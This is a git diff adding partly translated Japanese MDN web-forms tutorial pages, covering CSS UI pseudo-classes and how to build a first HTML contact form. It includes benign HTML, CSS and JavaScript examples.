id="Styling_enabled_and_disabled_inputs_and_read-only_and_read-write" name="Styling_enabled_and_disabled_inputs_and_read-only_and_read-write">有効/無効や読み取り専用/読み書き可能の入力をスタイル設定する</h2> + +<p>An enabled element is an element that can be activated; it can be selected, clicked on, typed into, etc. A disabled element on the other hand cannot be interacted with in any way, and its data isn't even sent to the server</p> + +<p>These two states can be targeted using {{cssxref(":enabled")}} and {{cssxref(":disabled")}}. Why are disabled inputs useful? Well, sometimes if some data does not apply to a certain user, you might not even want to submit that data when they submit the form. A classic example is a shipping form — commonly you'll get asked if you want to use the same address for billing and shipping; if so, you can just send a single address to the server, and might as well just disable the billing address fields.</p> + +<p>Let's have a look at an example that does just this. First of all, the HTML is a simple form containing text inputs, plus a checkbox to toggle disabling the billing address on and off. The billing address fields are disabled 既定では.</p> + +<pre class="brush: html notranslate"><form> + <fieldset id="shipping"> + <legend>Shipping address</legend> + <div> + <label for="name1">Name: </label> + <input id="name1" name="name1" type="text" required> + </div> + <div> + <label for="address1">Address: </label> + <input id="address1" name="address1" type="text" required> + </div> + <div> + <label for="pcode1">Zip/postal code: </label> + <input id="pcode1" name="pcode1" type="text" required> + </div> + </fieldset> + <fieldset id="billing"> + <legend>Billing address</legend> + <div> + <label for="billing-checkbox">Same as shipping address:</label> + <input type="checkbox" id="billing-checkbox" checked> + </div> + <div> + <label for="name" class="billing-label disabled-label">Name: </label> + <input id="name" name="name" type="text" disabled required> + </div> + <div> + <label for="address2" class="billing-label disabled-label">Address: </label> + <input id="address2" name="address2" type="text" disabled required> + </div> + <div> + <label for="pcode2" class="billing-label disabled-label">Zip/postal code: </label> + <input id="pcode2" name="pcode2" type="text" disabled required> + </div> + </fieldset> + + <div><button>Submit</button></div> +</form></pre> + +<p>Now onto the CSS. The most relevant parts to this example are as follows:</p> + +<pre class="brush: css notranslate">input[type="text"]:disabled { + background: #eee; + border: 1px solid #ccc; +} + +.disabled-label { + color: #aaa; +}</pre> + +<p>We've directly selected the inputs we want to disable using <code>input[type="text"]:disabled</code>, but we also wanted to gray out the corresponding text labels. These weren't quite as easy to select, so we've used a class to provide them with that styling.</p> + +<p>Now finally, we've used some JavaScript to toggle the disabling of the billing address fields:</p> + +<pre class="brush: js notranslate">// Wait for the page to finish loading +document.addEventListener('DOMContentLoaded', function () { + + // Attach `change` event listener to checkbox + document.getElementById('billing-checkbox').addEventListener('change', toggleBilling); +}, false); + +function toggleBilling() { + // Select the billing text fields + let billingItems = document.querySelectorAll('#billing input[type="text"]'); + // Select the billing text labels + let billingLabels = document.querySelectorAll('.billing-label'); + + // Toggle the billing text fields and labels + for (let i = 0; i < billingItems.length; i++) { + billingItems[i].disabled = !billingItems[i].disabled; + + if(billingLabels[i].getAttribute('class') === 'billing-label disabled-label') { + billingLabels[i].setAttribute('class', 'billing-label'); + } else { + billingLabels[i].setAttribute('class', 'billing-label disabled-label'); + } + } +}</pre> + +<p>It uses the <a href="/ja/docs/Web/API/HTMLElement/change_event"><code>change</code> event</a> to let the user enable/disable the billing fields, and toggle the styling of the associated labels.</p> + +<p>You can see the example in action below (also <a href="https://mdn.github.io/learning-area/html/forms/pseudo-classes/enabled-disabled-shipping.html">see it live here</a>, and see the <a href="https://github.com/mdn/learning-area/blob/master/html/forms/pseudo-classes/enabled-disabled-shipping.html">source code</a>):</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/pseudo-classes/enabled-disabled-shipping.html", '100%', 600)}}</p> + +<h3 id="Read-only_and_read-write" name="Read-only_and_read-write">Read-only and read-write</h3> + +<p>In a similar manner to <code>:disabled</code> and <code>:enabled</code>, the <code>:read-only</code> and <code>:read-write</code> pseudo-classes target two states that form inputs toggle between. Read-only inputs have their values submitted to the server, but the user can't edit them, whereas read-write means they can be edited — their default state.</p> + +<p>An input is set to read-only using the <code>readonly</code> attribute. As an example, imagine a confirmation page where the developer has sent the details filled in on previous pages over to this page, with the aim of getting the user to check them all in one place, add any final data that is needed, and then confirm the order by submitting. At this point, all the final form data can be sent to the server in one go.</p> + +<p>Let's look at what a form might look like (see <a href="https://mdn.github.io/learning-area/html/forms/pseudo-classes/readonly-confirmation.html">readonly-confirmation.html</a> for the live example; also <a href="https://github.com/mdn/learning-area/blob/master/html/forms/pseudo-classes/readonly-confirmation.html">see the source code</a>).</p> + +<p>A fragment of the HTML is as follows — note the readonly attribute:</p> + +<pre class="brush: html notranslate"><div> + <label for="name">Name: </label> + <input id="name" name="name" type="text" + value="Mr Soft" readonly> +</div></pre> + +<p>If you try the live example, you'll see that the top set of form elements are not focusable, however the values are submitted when the form is submitted. We've also styled the read-only form controls using the <code>:read-only</code> pseudo-class, like so:</p> + +<pre class="brush: css notranslate">input:-moz-read-only, textarea:-moz-read-only { + border: 0; + box-shadow: none; + resize: none; + background-color: white; +} + +input:read-only, textarea:read-only { + border: 0; + box-shadow: none; + resize: none; + background-color: white; +}</pre> + +<p>Yes, you've guessed it — Firefox only supports it with a prefix, hence having to double up the ruleset.</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code>:enabled</code> and <code>read-write</code> are two more pseudo-classes that you'll probably rarely use, given that they describe the default states of input elements.</p> +</div> + +<h2 id="ラジオとチェックボックスの状態_—_チェック済み、既定、中間">ラジオとチェックボックスの状態 — チェック済み、既定、中間</h2> + +<p>As we've seen in earlier articles in the module, {{HTMLElement("input/radio", "radio buttons")}} and {{HTMLElement("input/checkbox", "checkboxes")}} can be checked or unchecked. But there are a couple of other states to consider too:</p> + +<ul> + <li>{{cssxref(":default")}}: Matches radios/checkboxes that are checked 既定では, on page load (i.e. by setting the <code>checked</code> attribute on them) These match the {{cssxref(":default")}} pseudo-class, even if the user unchecks them.</li> + <li>{{cssxref(":indeterminate")}}: When radios/checkboxes are neither checked nor unchecked, they are considered <em>indeterminate</em> and will match the {{cssxref(":indeterminate")}} pseudo-class. More on what this means below.</li> +</ul> + +<h3 id="checked" name="checked">:checked</h3> + +<p>When checked, they will be matched by the {{cssxref(":checked")}} pseudo-class.</p> + +<p>The most common use of this is to add a different style onto the checkbox/radiobutton when it is checked, in cases where you've removed the system default styling with <code>appearance: none;</code> and want to build the styles back up yourself. We saw examples of this in the previous article, when we talked about <a href="/ja/docs/Learn/Forms/Advanced_form_styling#Using_appearence_none_on_radioscheckboxes">Using <code>appearence: none</code> on radios/checkboxes</a>.</p> + +<p>As a recap, the <code>:checked</code> code from our <a href="https://mdn.github.io/learning-area/html/forms/styling-examples/radios-styled.html">Styled radio buttons</a> example looks like so:</p> + +<pre class="brush: css notranslate">input[type="radio"]::before { + display: block; + content: " "; + width: 10px; + height: 10px; + border-radius: 6px; + background-color: red; + font-size: 1.2em; + transform: translate(3px, 3px) scale(0); + transform-origin: center; + transition: all 0.3s ease-in; +} + +input[type="radio"]:checked::before { + transform: translate(3px, 3px) scale(1); + transition: all 0.3s cubic-bezier(0.25, 0.25, 0.56, 2); +}</pre> + +<p>You can try it out here:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/styling-examples/radios-styled.html", '100%', 200)}}</p> + +<p>Basically, we build the styling for the radio button "inner circle" using the <code>::before</code> pseudo element, but set a <code>scale(0)</code> <code><a href="/ja/docs/Web/CSS/transform">transform</a></code> on it. We then use a <code><a href="/ja/docs/Web/CSS/transition">transition</a></code> to make it nicely animate into view when the radio is selected/checked. The advantage of using a transform rather than transitioning <code><a href="/ja/docs/Web/CSS/width">width</a></code>/<code><a href="/ja/docs/Web/CSS/height">height</a></code> is that you can use <code><a href="/ja/docs/Web/CSS/transform-origin">transform-origin</a></code> to make it grow from the center of the circle, rather than having it appear to grow from the circle's corner.</p> + +<h3 id="default_and_indeterminate" name="default_and_indeterminate">:default と :indeterminate</h3> + +<p>As mentioned above, the {{cssxref(":default")}} pseudo-class matches radios/checkboxes that are checked 既定では, on page load, even when unchecked. This could be useful for adding an indicator to a list of options to remind the user what the defaults (or starting options) were, in case they want to reset their choices.</p> + +<p>Also mentioned above radios/checkboxes will be matched by the {{cssxref(":indeterminate")}} pseudo-class when they are in a state where they are neither checked nor unchecked. But what does this mean? Elements that are indeterminate include:</p> + +<ul> + <li>{{HTMLElement("input/radio")}} inputs, when all radio buttons in a same-named group are unchecked</li> + <li>{{HTMLElement("input/checkbox")}} inputs whose <code>indeterminate</code> property is set to <code>true</code> via JavaScript</li> + <li>{{HTMLElement("progress")}} elements that have no value.</li> +</ul> + +<p>This isn't something you'll likely use very often. One use case could be an indicator to tell users that they really need to select a radio button before they move on.</p> + +<p>Let's look at a couple of modified versions of the previous example that remind the user what the default option was, and style the radio buttons when indeterminate. Both of these have the following HTML structure for the inputs:</p> + +<pre class="brush: html notranslate"><p> + <input type="radio" name="fruit" value="cherry" id="cherry"> + <label for="cherry">Cherry</label> + <span></span> +</p></pre> + +<p>For the <code>:default</code> example, we've added the <code>checked</code> attribute to the middle radio button input, so it will be selected 既定では when loaded. We then style this with the following CSS:</p> + +<pre class="brush: css notranslate">input ~ span { + position: relative; +} + +input:default ~ span::after { + font-size: 0.7rem; + position: absolute; + content: "Default"; + color: white; + background-color: black; + padding: 5px 10px; + right: -65px; + top: -3px; +}</pre> + +<p>This provides a little "Default" label on the one the was originally selected when the page loaded. Note here we are using the general sibling combinator (<code>~</code>) rather than the adjacent sibling combinator (<code>+</code>) — we need to do this because the <code><span></code> does not come right after the <code><input></code> in the source order.</p> + +<p>See the live result below:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/pseudo-classes/radios-checked-default.html", '100%', 200)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: You can also find the example live on GitHub at <a href="https://mdn.github.io/learning-area/html/forms/pseudo-classes/radios-checked-default.html">radios-checked-default.html</a> (also see the <a href="https://github.com/mdn/learning-area/blob/master/html/forms/pseudo-classes/radios-checked-default.html">source code</a>.)</p> +</div> + +<p>For the <code>:indeterminate</code> example, we've got no default selected radio button — this is important — if there was, then there would be no indeterminate state to style. We style the indeterminate radio buttons with the following CSS:</p> + +<pre class="brush: css notranslate">input[type="radio"]:indeterminate { + border: 2px solid red; + animation: 0.4s linear infinite alternate border-pulse; +} + +@keyframes border-pulse { + from { + border: 2px solid red; + } + + to { + border: 6px solid red; + } +}</pre> + +<p>This creates a fun little animated border on the radio buttons, which hopefully indicates that you need to select one of them!</p> + +<p>See the live result below:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/pseudo-classes/radios-checked-indeterminate.html", '100%', 200)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: You can also find the example live on GitHub at <a href="https://mdn.github.io/learning-area/html/forms/pseudo-classes/radios-checked-indeterminate.html">radios-checked-indeterminate.html</a> (also see the <a href="https://github.com/mdn/learning-area/blob/master/html/forms/pseudo-classes/radios-checked-indeterminate.html">source code</a>.)</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注</strong>: You can find an <a href="/ja/docs/Web/HTML/Element/Input/checkbox#Indeterminate_state_checkboxes">interesting example involving <code>indeterminate</code> states</a> on the <code><a href="/ja/docs/Web/HTML/Element/input/checkbox"><input type="checkbox"></a></code> reference page.</p> +</div> + +<h2 id="More_pseudo-classes" name="More_pseudo-classes">その他の疑似クラス</h2> + +<p>There are a number of other pseudo-classes of interest, and we don't have space to write about them all in detail here. Let's talk about a few more that you should take the time to investigate.</p> + +<p>The following are fairly well-supported in modern browsers:</p> + +<ul> + <li>The {{cssxref(":focus-within")}} pseudo-class matches an element that has received focus or <em>contains</em> an element that has received focus. This is useful if you want a whole form to highlight in some way when an input inside it is focused.</li> + <li>The {{cssxref(":focus-visible")}} pseudo-class matches focused elements that received focus via keyboard interaction (rather than touch or mouse) — useful if you want to show a different style for keyboard focus compared to mouse (or other) focus.</li> + <li>The {{cssxref(":placeholder-shown")}} pseudo-class matches {{htmlelement('input')}} and {{htmlelement('textarea')}} elements that have their placeholder showing (i.e. the contents of the <code><a href="/ja/docs/Web/HTML/Attributes/placeholder">placeholder</a></code> attribute) because the value of the element is empty.</li> +</ul> + +<p>The following are also interesting, but as yet not well-supported in browsers:</p> + +<ul> + <li>The {{cssxref(":blank")}}<strong> </strong>pseudo-class selects empty form controls. {{cssxref(":empty")}} also matches elements that have no children, like {{HTMLElement("input")}}, but it is more general — it also matches other empty elements like {{HTMLElement("br")}} and {{HTMLElement("hr")}}. <code>:empty</code> has reasonable browser support; the <code>:blank</code> pseudo-class's specification is not yet finished, so it not yet supported in any browser.</li> + <li>The <code><a href="https://drafts.csswg.org/selectors-4/#user-invalid-pseudo">:user-invalid</a></code> pseudo-class, when supported, will be similar to {{cssxref(":invalid")}}, but with better user experience. If the value is valid when the input receives focus, the element may match <code>:invalid</code> as the user enters data if the value is temporarily invalid, but will only match <code>:user-invalid</code> when the element loses focus. If the value was originally invalid, it will match both <code>:invalid</code> and <code>:user-invalid</code> for the whole duration of the focus. In a similar manner to <code>:invalid</code>, it will stop matching <code>:user-invalid</code> if the value does become valid.</li> +</ul> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>This completes our look at UI pseudo-classes that relate to form inputs. Keep playing with them, and create some fun form styles! Next up, we'll move on to something different — <a href="/ja/docs/Learn/Forms/Form_validation">client-side form validation</a>.</p> + +<p>{{PreviousMenuNext("Learn/Forms/Advanced_form_styling", "Learn/Forms/Form_validation", "Learn/Forms")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めてのフォーム</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">フォームの構築方法</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/HTML5_input_types" rel="noopener">The HTML5 input types</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Other_form_controls" rel="noopener">Other form controls</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">フォームへのスタイル設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">フォームへの高度なスタイル設定</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes" rel="noopener">UI pseudo-classes</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> +</ul> + +<h3 id="Advanced_Topics" name="Advanced_Topics">上級トピック</h3> + +<ul> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/How_to_build_custom_form_controls" rel="noopener">カスタムフォームコントロールの作成方法</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Sending_forms_through_JavaScript" rel="noopener">JavaScript によるフォームの送信</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets" rel="noopener">フォームウィジェット向けプロパティ実装状況一覧</a></li> +</ul> diff --git a/files/ja/learn/forms/your_first_form/example/index.html b/files/ja/learn/forms/your_first_form/example/index.html new file mode 100644 index 0000000000..bddf242144 --- /dev/null +++ b/files/ja/learn/forms/your_first_form/example/index.html @@ -0,0 +1,113 @@ +--- +title: 例 +slug: Learn/Forms/Your_first_form/Example +tags: + - CodingScripting + - HTML + - Web + - ガイド + - フォーム + - 例 + - 初心者 + - 学習 +translation_of: Learn/Forms/Your_first_form/Example +--- +<p>これは<a href="/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">最初の HTML フォーム</a>の記事のサンプルコードです。</p> + +<h2 id="A_simple_form" name="A_simple_form">簡単なフォーム</h2> + +<h3 id="HTML_コンテンツ">HTML コンテンツ</h3> + +<pre class="brush: html notranslate"><form action="<span class="pl-s">/my-handling-form-page</span>" method="post"> + <div> + <label for="name">Name:</label> + <input type="text" id="name" name="user_name"> + </div> + + <div> + <label for="mail">E-mail:</label> + <input type="email" id="mail" name="user_email"> + </div> + + <div> + <label for="msg">Message:</label> + <textarea id="msg" name="user_message"></textarea> + </div> + + <div class="button"> + <button type="submit">Send your message</button> + </div> +</form></pre> + +<h3 id="CSS_コンテンツ">CSS コンテンツ</h3> + +<pre class="brush: css notranslate">form { + /* Just to center the form on the page */ + margin: 0 auto; + width: 400px; + + /* To see the limits of the form */ + padding: 1em; + border: 1px solid #CCC; + border-radius: 1em; +} + +div + div { + margin-top: 1em; +} + +label { + /* To make sure that all label have the same size and are properly align */ + display: inline-block; + width: 90px; + text-align: right; +} + +input, textarea { + /* To make sure that all text field have the same font settings + By default, textarea are set with a monospace font */ + font: 1em sans-serif; + + /* To give the same size to all text field */ + width: 300px; + + -moz-box-sizing: border-box; + box-sizing: border-box; + + /* To harmonize the look & feel of text field border */ + border: 1px solid #999; +} + +input:focus, textarea:focus { + /* To give a little highligh on active elements */ + border-color: #000; +} + +textarea { + /* To properly align multiline text field with their label */ + vertical-align: top; + + /* To give enough room to type some text */ + height: 5em; + + /* To allow users to resize any textarea vertically + It works only on Chrome, Firefox and Safari */ + resize: vertical; +} + +.button { + /* To position the buttons to the same position of the text fields */ + padding-left: 90px; /* same size as the label elements */ +} + +button { + /* This extra magin represent the same space as the space between + the labels and their text fields */ + margin-left: .5em; +}</pre> + +<h3 id="結果">結果</h3> + +<p>{{ EmbedLiveSample('A_simple_form', '100%', '280') }}</p> + +<p> </p> diff --git a/files/ja/learn/forms/your_first_form/index.html b/files/ja/learn/forms/your_first_form/index.html new file mode 100644 index 0000000000..d3e646269f --- /dev/null +++ b/files/ja/learn/forms/your_first_form/index.html @@ -0,0 +1,313 @@ +--- +title: 初めてのフォーム +slug: Learn/Forms/Your_first_form +tags: + - Beginner + - CodingScripting + - Example + - Forms + - Guide + - HTML + - Learn + - Web + - ウェブ + - ガイド + - フォーム + - 初心者向け + - 学習 +translation_of: Learn/Forms/Your_first_form +--- +<div> +<div>{{LearnSidebar}}{{NextMenu("Learn/Forms/How_to_structure_a_web_form", "Learn/Forms")}}</div> +</div> + +<p class="summary">このシリーズの最初の記事では、簡単なフォームの設計、HTML フォームコントロールとその他の HTML 要素を使用した正しい実装、CSS によるとても簡単なスタイル付け、データをサーバーに送る方法を含めた、ウェブフォームを作成する本当に初歩的な経験をします。サブトピックは、モジュールの後で詳しく展開していきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシーと、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML を理解する</a>を理解していること。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>ウェブフォームとは何か、何に使うのか、どうデザインするのか、サンプル事例に必要な基本の HTML 要素について熟知する。</td> + </tr> + </tbody> +</table> + +<h2 id="What_are_HTML_forms" name="What_are_HTML_forms">ウェブフォームとは何か?</h2> + +<p><strong>ウェブフォーム</strong>とは、ユーザーと ウェブサイトやアプリケーションとの対話の要となるもののひとつです。フォームによって、ユーザーは ウェブサイトへデータを送ることができます。それらのデータはたいてい ウェブサーバーに送られて処理、保存されたり (モジュール後半の<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Sending_and_retrieving_form_data">サーバーにデータを送る</a>を見てください) 、クライアント側ですぐにインターフェイスを更新する(例えば、リストに他の項目を追加したり、UI の機能を表示/非表示にしたり)こともあります。</p> + +<p>ウェブフォームは 1 つ以上の<strong>フォームコントロール</strong>(<strong>ウィジェット</strong>ともいいます)と、フォーム全体を構成するのに役立つ追加要素 — よく <strong>HTML フォーム</strong>と呼ばれます — とで作られます。それらのコントロールはテキストフィールド (単一行または複数行)、ドロップダウンボックス、ボタン、チェックボックスあるいはラジオボタンがあります。たいていは {{htmlelement("input")}} 要素を使って作成されますが、その他の要素もあります。</p> + +<p>フォームコントロールは、特定フォームの値が入力されるのを強制する(<strong>フォーム検証</strong>)ためにもプログラミングされ、視力のある・盲目のユーザーいずれにとっても、用途を説明するラベルと対になります。</p> + +<h2 id="Designing_your_form" name="Designing_your_form">フォームを設計する</h2> + +<p>コードを書き始める前に、そこから離れてフォームについて考える時間をとるとよいでしょう。簡単なモデルを作ると、あなたがユーザーに入力を依頼したいデータの適切なセットを定義することの助けになります。ユーザー体験 (UX) の観点では、フォームが大規模になるとユーザーが不満を持って離れるリスクが高まると覚えておくことが重要です。簡単に、かつ集中するようにしてください。本当に必要なことだけをたずねてください。</p> + +<p>フォームの設計は、サイトやアプリケーションを構築する際の大事なステップです。フォームのユーザー体験まで扱うと本記事の対象を超えてしまいますが、そこまで踏み込みたい場合は以下の記事をご覧ください。</p> + +<ul> + <li>Smashing Magazine に<a href="http://uxdesign.smashingmagazine.com/tag/forms/" rel="external" title="http://uxdesign.smashingmagazine.com/tag/forms/">フォームの UX に関するよい記事</a>がありますが、もっとも重要な記事は <a href="http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/" rel="external" title="http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/">Extensive Guide To Web Form Usability</a> でしょう。</li> + <li>UXMatters もまた、<a href="http://www.uxmatters.com/mt/archives/2010/03/pagination-in-web-forms-evaluating-the-effectiveness-of-web-forms.php" title="http://www.uxmatters.com/mt/archives/2010/03/pagination-in-web-forms-evaluating-the-effectiveness-of-web-forms.php">複数ページのフォーム</a>といった複雑なことへの<a href="http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php" rel="external" title="http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php">基本的なベストプラクティス</a>から良いアドバイスを得られる、思慮深いリソースです。</li> +</ul> + +<p>本記事では、シンプルな連絡フォームを作成します。簡単に図を描いてみましょう。</p> + +<p><img alt="The form to build, roughly sketch" src="/files/4579/form-sketch-low.jpg" style="border-style: solid; border-width: 1px; height: 352px; width: 400px;"></p> + +<p>このフォームには、3 つのテキストフィールドと 1 つのボタンがあります。要するに、ユーザーへ名前(Name)、メールアドレス(E-mail)、送信したいメッセージ(Message)をたずねます。ボタンを押すと、データをウェブサーバーに送信します。</p> + +<h2 id="Get_your_hands_dirty_with_HTML" name="Get_your_hands_dirty_with_HTML">HTML を書きましょう</h2> + +<p>これで、HTML に移ってフォームのコードを書く準備ができました。連絡フォームを作るために、以下の HTML 要素を使用します: {{HTMLElement("form")}}、{{HTMLElement("label")}}、{{HTMLElement("input")}}、{{HTMLElement("textarea")}}、{{HTMLElement("button")}} です。</p> + +<p>前に進む前に、<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">簡単な HTML テンプレート</a>をローカルにコピーします — ここにフォームの HTML を入力します。</p> + +<h3 id="The_HTMLElementform_element" name="The_HTMLElement(form)_element">{{HTMLElement("form")}} 要素</h3> + +<p>すべてのフォームは、以下のように {{HTMLElement("form")}} 要素から始まります:</p> + +<pre class="brush:html; notranslate"><form action="/my-handling-form-page" method="post"> + +</form></pre> + +<p>これは、フォームを正式に定義します。これは {{HTMLElement("div")}} 要素や {{HTMLElement("p")}} 要素と同様にコンテナ要素ですが、フォームの動作を設定するための固有の属性もサポートします。すべての属性は省略可能ですが、少なくとも <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/action"><code>action</code></a> 属性と <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/method"><code>method</code></a>属性は常に設定することがベストプラクティスであると考えられます。</p> + +<ul> + <li><code>action</code> 属性は、フォームで収集したデータを送信すべき場所 (URL) を定義します</li> + <li><code>method</code> 属性は、データを送信するために使用する HTTP メソッド ( <code>get</code> または <code>post</code> ) を定義します</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: これらの属性がどのように働くかについて、詳しくは<a href="/ja/docs/HTML/Forms/Sending_and_retrieving_form_data" title="HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信と取得</a>で説明しています。</p> +</div> + +<p>今は、上の {{htmlelement("form")}} 要素を HTML 本文に追加します。</p> + +<h3 id="Add_widgets_with_the_HTMLElementlabel_HTMLElementinput_and_HTMLElementtextarea_elements" name="Add_widgets_with_the_HTMLElement(label)_HTMLElement(input)_and_HTMLElement(textarea)_elements">{{HTMLElement("label")}}、{{HTMLElement("input")}} および {{HTMLElement("textarea")}} 要素でウィジェットを追加する</h3> + +<p>連絡フォームはとてもシンプルで 3 つのテキストフィールドを持っており、それぞれに 対応した {{HTMLelement("label")}} がついています。</p> + +<ul> + <li>名前の入力フィールドは、基本的な単一行のテキストフィールドです。</li> + <li>メールアドレスの入力フィールドは、メールアドレスだけを受け付ける単一行のテキストフィールドです。</li> + <li>メッセージの入力フィールドは、基本的な複数行のテキストフィールドです。</li> +</ul> + +<p>HTML コードで、それらは以下のようになります:</p> + +<pre class="brush:html; notranslate" dir="rtl"><form action="/my-handling-form-page" method="post"> + <ul> + <li> + <label for="name">Name:</label> + <input type="text" id="name" name="user_name"> + </li> + <li> + <label for="mail">E-mail:</label> + <input type="email" id="mail" name="user_email"> + </li> + <li> + <label for="msg">Message:</label> + <textarea id="msg" name="user_message"></textarea> + </li> + </ul> +</form></pre> + +<p>フォームのコードを上に見えるようなものに更新してください。</p> + +<p>{{HTMLelement("li")}} 要素はコードを扱いやすく構造化するとともに、スタイル設定を容易にするため (後述) に置いています。すべての {{HTMLElement("label")}} 要素における、<a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/for"> <code>for</code> </a> 属性の使い方に注目してください。これは、ラベルとフォームウィジェットを関連付けるための正式な方法です。この属性は、対応するウィジェットの <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/id"><code>id</code></a> を参照します。</p> + +<p>これには利点があります — フォームコントロールにラベルを関連付けて、ユーザーがマウス、トラックパッド、タッチデバイスでラベルをクリックすると対応するウィジェットがアクティブになり、スクリーンリーダーのユーザーに読み上げられるアクセシブルな名前が提供されます。この属性の利点をさらに知りたいのでしたら、こちらの記事ですべてを詳しく説明しています: <a href="/ja/docs/HTML/Forms/How_to_structure_an_HTML_form" title="HTML/Forms/How_to_structure_an_HTML_form">HTML フォームの構築方法</a>.</p> + +<p>{{HTMLElement("input")}} 要素でもっとも重要な属性は、<code>type</code> 属性です。この属性は {{HTMLElement("input")}} 要素の見た目や動作を定義するため、とても重要です。これは要素を根本的に変えるものですから、注意してください。詳しく知りたい場合は、<a href="/ja/docs/HTML/Forms/The_native_form_widgets" rel="external" title="HTML/Forms/The_native_forms_widgets">ネイティブフォームウィジェット</a>の記事をご覧ください。</p> + +<ul> + <li>本記事の例では、最初の input に {{HTMLelement("input/text")}} という値を使用しています (これは属性の既定値であり、制御や検証を行わずあらゆるテキストを受け入れる、単一行のテキストフィールドを表します) 。</li> + <li>2番目の input では、正しくフォーマットされた E メールアドレスのみを受け付ける単一行として定義された {{HTMLelement("input/email")}} という値を使用しています。この値はベーシックなテキストフィールドを、ユーザーによって入力されたデータをチェックするようにする "知的な" フィールドへと変化させます。またスマートフォンのように動的なキーボードのある端末で、E メールアドレスを入力するのにふさわしいキーボードレイアウト (例えばデフォルトで @ 記号があるもの) が表示されるようにします。フォームの検証について詳しく知りたい場合は、<a href="/ja/docs/HTML/Forms/Data_form_validation" title="HTML/Forms/Data_form_validation">データフォームの検証</a> の記事をご覧ください。</li> +</ul> + +<p>大事なことを言い忘れましたが、<code><input></code> と <code><textarea></textarea></code> の構文に注意してください。これは HTML の変わったことの 1 つです。<code><input></code> タグは空要素です。つまり、終了タグは不要です。一方 {{HTMLElement("textarea")}} は空の要素ではないので、適切な終了タグで閉じる必要があります。これは HTML フォームの特定の機能、つまりデフォルト値の定義方法に影響があります。{{HTMLElement("input")}} 要素のデフォルト値を定義するには、次のように <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/value"><code>value</code></a> 属性を使う必要があります。</p> + +<pre class="brush:html; notranslate"><input type="text" value="デフォルトではこの要素にはこの文章が挿入されます" /></pre> + +<p>また、{{HTMLElement("textarea")}} のデフォルト値を定義したい場合は、デフォルト値を {{HTMLElement("textarea")}} の開始タグと終了タグの間に書いてください。以下のとおりです：</p> + +<pre class="brush:html; notranslate"><textarea> +デフォルトではこの要素にはこの文章が挿入されます +</textarea></pre> + +<h3 id="And_a_HTMLElementbutton_to_finish" name="And_a_HTMLElement(button)_to_finish">{{HTMLElement("button")}} を追加する</h3> + +<p>フォームはほぼできあがりました。あとは、ユーザーがフォームに記入したらデータを"送信"するためのボタンを追加します。これは、{{HTMLElement("button")}} 要素を使用して簡単にできます: 閉じタグの <code></ul></code> の直前に次の行を追加します:</p> + +<pre class="brush:html; notranslate"><li class="button"> + <button type="submit">メッセージを送信</button> +</li></pre> + +<p>{{htmlelement("button")}} 要素は <code>type</code> 属性を受け付けます。3 種類の値を受け付けて、これは <code>submit</code>、<code>reset</code>、<code>button</code> です。</p> + +<ul> + <li><code>submit</code> ボタンをクリックするとフォームのデータを、{{HTMLElement("form")}} 要素の <code>action</code> 属性で定義した ウェブページへ送信します。</li> + <li><code>reset</code> ボタンをクリックすると、直ちにすべてのフォームウィジェットを既定値にリセットします。UX の観点ではこのボタンはバッドプラクティスであると考えられており、どうしても必要な理由がない限りこのボタンの使用は避けるようにします。</li> + <li><code>button</code> ボタンをクリックすると...何もしません! おかしなことのように見えますが、JavaScript を使用してカスタムボタンを作成するために驚くほど役立ちます。</li> +</ul> + +<div class="note"> +<p>メモ: {{HTMLElement("input")}} 要素で対応する <code>type</code> 